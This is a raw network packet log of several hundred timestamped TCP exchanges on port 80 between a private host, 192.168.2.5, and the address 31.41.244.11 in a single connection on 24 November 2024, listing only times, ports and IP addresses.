Nov 24, 2024 10:24:16.146362066 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.146549940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.146600962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.146656990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.146704912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.147689104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.147737026 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.147804976 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.147850990 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.148848057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.148881912 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.148897886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.148915052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.150173903 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.150249958 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.150352955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.150398970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.151134014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.151190042 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.151361942 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.151410103 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.152251005 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.152301073 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.152355909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.152403116 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.153337002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.153388023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.153460026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.153508902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.154515028 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.154561996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.154581070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.154630899 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.155664921 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.155739069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.155778885 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.155823946 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.156812906 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.156863928 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.156934977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.156980991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.157978058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.158027887 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.158031940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.158076048 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.159014940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.159064054 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.159143925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.159189939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.160159111 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.160209894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.160250902 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.160294056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.161361933 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.161426067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.161494017 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.161540985 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.162405014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.162451029 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.162471056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.162522078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.163602114 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.163650990 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.163695097 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.163743019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.164668083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.164714098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.164752007 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.164796114 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.165802956 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.165872097 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.165918112 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.165965080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.167107105 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.167157888 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.167196035 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.167242050 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.168402910 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.168452978 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.168498039 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.168543100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.169493914 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.169553041 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.169601917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.169646978 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.170428991 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.170474052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.170533895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.170583963 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.171571016 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.171617031 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.171713114 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.171757936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.172651052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.172696114 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.172724009 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.172771931 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.173774958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.173819065 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.173863888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.173911095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.174875021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.174921036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.174926043 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.174962997 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.176018000 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.176086903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.176126003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.176173925 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.177175999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.177225113 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.177320957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.177370071 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.178462029 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.178508997 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.178554058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.178600073 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.179419994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.179466009 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.179502010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.179548025 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.180536032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.180593967 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.180639029 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.180689096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.181680918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.181726933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.181776047 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.181816101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.182812929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.182841063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.182864904 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.182879925 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.184029102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.184108019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.184202909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.184247971 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.185071945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.185116053 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.185162067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.185204983 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.186171055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.186219931 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.186316013 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.186358929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.187355995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.187401056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.187602997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.187649012 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.188453913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.188497066 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.188574076 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.188617945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.189599037 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.189645052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.189713001 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.189754963 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.190727949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.190785885 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.190788031 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.190830946 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.191956997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.191978931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.192011118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.192025900 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.192977905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.193025112 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.193078041 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.193125010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.194116116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.194160938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.194216013 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.194264889 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.195288897 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.195331097 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.195444107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.195487022 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.196433067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.196484089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.196507931 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.196521044 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.197554111 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.197604895 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.197652102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.197690010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.198787928 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.198834896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.198859930 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.198900938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.199978113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.200021982 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.200072050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.200114012 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.201297998 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.201337099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.201387882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.201426983 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.202230930 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.202306986 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.202600002 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.203200102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.203257084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.203293085 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.203335047 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.204314947 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.204364061 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.204384089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.204421997 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.205703974 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.205744982 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.353390932 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.353404999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.353580952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.353934050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.353990078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.354131937 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.354176044 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.355071068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.355114937 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.355123997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.355166912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.356224060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.356266975 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.356286049 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.356333971 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.357579947 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.357626915 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.357650995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.357696056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.358660936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.358705997 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.358731985 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.358777046 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.359591007 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.359642029 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.359806061 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.359855890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.360726118 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.360773087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.360841036 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.360886097 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.361890078 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.361934900 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.361970901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.362013102 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.363006115 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.363049984 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.363095045 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.363140106 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.364128113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.364201069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.364218950 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.364264011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.365262985 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.365309000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.365356922 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.365400076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.366398096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.366441965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.366512060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.366554976 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.367553949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.367595911 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.367697954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.367743969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.368676901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.368722916 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.368736982 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.368782043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.369801998 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.369844913 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.369944096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.369981050 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.370980024 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.371020079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.371115923 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.371159077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.372049093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.372093916 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.372138977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.372179985 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.373251915 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.373296022 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.373315096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.373357058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.374316931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.374382019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.374409914 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.374448061 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.375444889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.375492096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.375541925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.375583887 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.376580954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.376621008 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.376636028 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.376676083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.377727032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.377774000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.377839088 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.377882957 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.378978968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.379020929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.379029989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.379074097 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.379988909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.380033970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.380100965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.380146027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.381114006 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.381162882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.381223917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.381266117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.382266998 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.382308006 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.382325888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.382364988 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.383374929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.383418083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.383482933 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.383529902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.384526014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.384583950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.384639025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.384679079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.385615110 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.385668039 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.385727882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.385768890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.386789083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.386838913 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.386889935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.386929989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.387908936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.387954950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.388230085 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.388269901 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.389096975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.389137030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.389206886 CET	80	49813	31.41.244.11	192.168.2.5
